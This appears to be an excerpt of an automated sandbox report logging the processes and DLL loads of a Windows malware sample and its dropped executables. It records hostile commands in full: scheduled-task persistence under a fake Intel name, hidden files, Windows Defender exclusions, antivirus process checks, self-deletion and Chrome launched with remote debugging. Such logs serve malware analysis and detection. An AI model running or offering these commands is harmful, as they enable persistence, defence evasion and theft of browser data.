Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe "C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe "C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe"
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe "C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2368,i,6161523696451090084,11731590265442549677,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe "C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe "C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe "C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe "C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe "C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "profiles" Organizing	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\245347\Dry.com Dry.com b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2368,i,6161523696451090084,11731590265442549677,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wldp.dll
